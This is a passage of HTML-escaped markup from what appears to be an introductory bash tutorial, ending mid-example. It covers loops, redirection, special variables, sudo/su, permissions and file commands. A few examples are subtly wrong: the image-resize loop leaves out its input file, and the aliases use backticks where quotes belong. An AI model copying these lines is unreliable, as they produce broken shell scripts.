&lt;p&gt;There are basic control &lt;em&gt;statements&lt;/em&gt; in shell scripts too.&lt;/p&gt;
&lt;p&gt;The following script tries to convert all files (that are images) to a 400px wide variant called &lt;code&gt;smaller_[filename]&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; f in *; &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[[&lt;/span&gt; -f $f &lt;span style=&#34;color:#f92672&#34;&gt;]]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        convert -resize 400x smaller_$f
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;command-substitution&#34;&gt;Command substitution&lt;/h3&gt;
&lt;p&gt;You can use the output of a command in an other command, like set it as a value of a variable, or print it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ FILELIST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;ls&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo $FILELIST
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;a.txt b.txt files_is_this_directory ...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;ls&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;# equivalent to $()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;a.txt b.txt files_is_this_directory ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;special-variables&#34;&gt;Special variables&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;!!&lt;/code&gt; - the last command&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;!$&lt;/code&gt; - the last parameter of the last command&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$$&lt;/code&gt; - current process id&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$0&lt;/code&gt;, &lt;code&gt;$1&lt;/code&gt;, &lt;code&gt;$2&lt;/code&gt;, &amp;hellip; - parameters (for a script)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$#&lt;/code&gt; - number of parameters&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$*&lt;/code&gt; - all parameters (as one string)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$@&lt;/code&gt; - all parameters (as list of strings)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$?&lt;/code&gt; - exit status of last command (&lt;code&gt;0&lt;/code&gt; - success, non-&lt;code&gt;0&lt;/code&gt; - something wrong)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;keyboard-shortcuts&#34;&gt;Keyboard shortcuts&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;TAB&lt;/code&gt; - completion (if enabled)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^C&lt;/code&gt; - break (SIGINT signal)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^D&lt;/code&gt; - end-of-file (tells the current process that you finished typing something)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^Z&lt;/code&gt; - suspend (SIGTSTP signal)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^S&lt;/code&gt; - pause flow-control (&lt;em&gt;XOFF&lt;/em&gt;) - output is not updated, terminal might seem to be frozen&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^Q&lt;/code&gt; - restart flow-control (&lt;em&gt;XON&lt;/em&gt;) - useful if you accidentally pressed &lt;code&gt;^S&lt;/code&gt; :)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^L&lt;/code&gt; - clear screen&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^A&lt;/code&gt; - go to the beginning of the line&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^E&lt;/code&gt; - go to the end of the line&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^W&lt;/code&gt; - delete previous word&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^U&lt;/code&gt; - delete whole line (useful if you mistyped you password and want to start over)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Alt+B&lt;/code&gt; - go back one word&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Alt+F&lt;/code&gt; - go forward one word&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^P&lt;/code&gt; (or cursor up) - previous command&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^N&lt;/code&gt; (or cursor down) - next command&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;^R&lt;/code&gt; - reverse search command history&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;These are the &lt;em&gt;emacs mode&lt;/em&gt; shortcuts, which is the default. You can switch to &lt;em&gt;vi mode&lt;/em&gt; using &lt;code&gt;set -o vi&lt;/code&gt;, but you probably don&amp;rsquo;t want it ;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;bashrc&#34;&gt;&lt;code&gt;.bashrc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;You can perform simple operations at shell startup by creating the &lt;code&gt;.bashrc&lt;/code&gt; file in your home directory. (There are other files that are executed at different stages of different shell startup, like &lt;code&gt;.profile&lt;/code&gt;, &lt;code&gt;.bash_profile&lt;/code&gt;, &amp;hellip;)&lt;/p&gt;
&lt;p&gt;Here you might:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Set some variables&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;export PATH&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$PATH:~/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;export PS1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Hello \t&amp;gt; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;export EDITOR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;vim
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Create aliases&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias ll&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;ls -la&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alias code&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;vim&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;stdinstdoutstderr&#34;&gt;&lt;code&gt;stdin&lt;/code&gt;/&lt;code&gt;stdout&lt;/code&gt;/&lt;code&gt;stderr&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Every running process has three special file descriptors:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stdin&lt;/code&gt; - standard input&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stdout&lt;/code&gt; - standard output&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stderr&lt;/code&gt; - standard error&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can redirect these using &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;2&amp;gt;&lt;/code&gt; and &lt;code&gt;|&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd &amp;lt; file            &lt;span style=&#34;color:#75715e&#34;&gt;# use file as stdin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd &amp;gt; file            &lt;span style=&#34;color:#75715e&#34;&gt;# redirects output into file (original file content will be lost)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd 2&amp;gt; file           &lt;span style=&#34;color:#75715e&#34;&gt;# redirects error output into file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd &amp;gt;&amp;gt; file           &lt;span style=&#34;color:#75715e&#34;&gt;# appends output of cmd at the end of file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd1 | cmd2           &lt;span style=&#34;color:#75715e&#34;&gt;# use the stdout of cmd1 as the stdin of cmd2 (pipeline)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd &amp;lt; file.i &amp;gt; file.o &lt;span style=&#34;color:#75715e&#34;&gt;# combine them as you want&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd &amp;gt; file 2&amp;gt;&amp;amp;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;       &lt;span style=&#34;color:#75715e&#34;&gt;# redirects stdout and stderr into file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cmd1 &amp;lt; file1 | cmd2 | cmd3 &amp;gt; file2 2&amp;gt;&amp;amp;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;some-useful-commands&#34;&gt;Some useful commands&lt;/h2&gt;
&lt;h3 id=&#34;man---manual&#34;&gt;&lt;code&gt;man&lt;/code&gt; - manual&lt;/h3&gt;
&lt;p&gt;If you need some help about a command, you can try &lt;code&gt;man [command]&lt;/code&gt; that will display the &lt;em&gt;manual page&lt;/em&gt; of that command.&lt;/p&gt;
&lt;h3 id=&#34;sudosu&#34;&gt;&lt;code&gt;sudo&lt;/code&gt;/&lt;code&gt;su&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;You often need to execute commands using &lt;em&gt;root&lt;/em&gt; (administrator) privileges. This can be done via &lt;code&gt;sudo&lt;/code&gt; (if you have the appropriate rights).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat secure.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;secure.txt: permission denied
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sudo cat secure.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Password: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;enter password&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This can be read only by root.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With &lt;code&gt;su&lt;/code&gt;, you can &lt;em&gt;log in&lt;/em&gt; as an other user - by default root. This can be useful if you need to execute many commands as root user.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ su -
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Password: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root password, which might not be set at all...&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# whoami&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sudo su -
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Password: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;your password&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# whoami&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ls&#34;&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;To show (&lt;em&gt;list&lt;/em&gt;) the files in a directory, you can use the &lt;code&gt;ls&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;My most commonly used flags are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;l&lt;/code&gt; - long (owner, permissions, etc)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a&lt;/code&gt; - show &lt;em&gt;hidden&lt;/em&gt; files (those that start with &lt;code&gt;.&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t&lt;/code&gt; - sort by modification time&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r&lt;/code&gt; - reverse order&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, show all files, with many information, in reverse order of modification (latest file at the bottom, probably the one you just modified/downloaded):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ls -ltra
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r--  &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; dyuri users    &lt;span style=&#34;color:#ae81ff&#34;&gt;1106&lt;/span&gt; Oct  &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;2021&lt;/span&gt; .gitconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;drwxr-xr-x &lt;span style=&#34;color:#ae81ff&#34;&gt;51&lt;/span&gt; dyuri users    &lt;span style=&#34;color:#ae81ff&#34;&gt;4096&lt;/span&gt; Mar &lt;span style=&#34;color:#ae81ff&#34;&gt;21&lt;/span&gt; 13:49 melo/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;file-permissions&#34;&gt;File permissions&lt;/h3&gt;
&lt;p&gt;In a posix system, file like objects have a standard set of permissions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3 levels: user (&lt;code&gt;u&lt;/code&gt;), group (&lt;code&gt;g&lt;/code&gt;), others (&lt;code&gt;o&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;3 types: read (&lt;code&gt;r&lt;/code&gt;), write (&lt;code&gt;w&lt;/code&gt;), execute (&lt;code&gt;x&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;First character in the permission string:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-&lt;/code&gt; - normal file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d&lt;/code&gt; - directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;l&lt;/code&gt; - symoblic link&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c&lt;/code&gt; - character device&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b&lt;/code&gt; - block device&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Specials:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;s&lt;/code&gt; - setuid/setgid (in place of &lt;code&gt;x&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t&lt;/code&gt; - sticky bit (for /tmp and such, in place of &lt;code&gt;x&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Setting permissions:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ chown &amp;lt;user&amp;gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;:&amp;lt;group&amp;gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &amp;lt;file&amp;gt; &lt;span style=&#34;color:#75715e&#34;&gt;# set associated user/group&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ chmod &amp;lt;permission&amp;gt; &amp;lt;file&amp;gt;     &lt;span style=&#34;color:#75715e&#34;&gt;# set permissions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# examples&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ chmod u+x file      &lt;span style=&#34;color:#75715e&#34;&gt;# execute permission to owner&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ chmod a+w file      &lt;span style=&#34;color:#75715e&#34;&gt;# write access to &amp;#34;all&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ chmod o-r -R dir    &lt;span style=&#34;color:#75715e&#34;&gt;# revoke read access from &amp;#34;others&amp;#34; in &amp;#34;dir&amp;#34; recursively&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ chmod &lt;span style=&#34;color:#ae81ff&#34;&gt;751&lt;/span&gt; cica      &lt;span style=&#34;color:#75715e&#34;&gt;# 751 is the octal representation of rwxr-x--x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;directories&#34;&gt;Directories&lt;/h3&gt;
&lt;p&gt;Command for changing directory: &lt;code&gt;cd&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;dir&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;            &lt;span style=&#34;color:#75715e&#34;&gt;# change directory to [dir]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd $HOME            &lt;span style=&#34;color:#75715e&#34;&gt;# go to your home directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd ~                &lt;span style=&#34;color:#75715e&#34;&gt;# go to your home directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd                  &lt;span style=&#34;color:#75715e&#34;&gt;# go to your home directory...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd -                &lt;span style=&#34;color:#75715e&#34;&gt;# change back to the previous directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Creating/removing directories: &lt;code&gt;mkdir&lt;/code&gt;/&lt;code&gt;rmdir&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ mkdir dir           &lt;span style=&#34;color:#75715e&#34;&gt;# create the directory &amp;#34;dir&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ mkdir -p dir1/dir2  &lt;span style=&#34;color:#75715e&#34;&gt;# create &amp;#34;dir1/dir2&amp;#34;, &amp;#34;dir1&amp;#34; is also created if required&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ rmdir dir           &lt;span style=&#34;color:#75715e&#34;&gt;# remove directory - only if empty (failsafe)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Other useful commands:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pwd&lt;/code&gt; - print working directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pushd&lt;/code&gt; - push current directory to stack&lt;/li&gt;
&lt;li&gt;&lt;code&gt;popd&lt;/code&gt; - pop last directory from stack&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;copymoveremove&#34;&gt;Copy/move/remove&lt;/h3&gt;
&lt;p&gt;Copy files: &lt;code&gt;cp&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cp file1 file2      &lt;span style=&#34;color:#75715e&#34;&gt;# copy file1 to file2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cp -R dir1 dir2     &lt;span style=&#34;color:#75715e&#34;&gt;# copy dir1 recursively into dir2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Move/rename: &lt;code&gt;mv&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ mv file1 file2      &lt;span style=&#34;color:#75715e&#34;&gt;# move file1 to file2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Delete file: &lt;code&gt;rm&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ rm file             &lt;span style=&#34;color:#75715e&#34;&gt;# remove file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ rm -rf dir          &lt;span style=&#34;color:#75715e&#34;&gt;# remove directory recursively (dangerous)&lt;/span&gt;
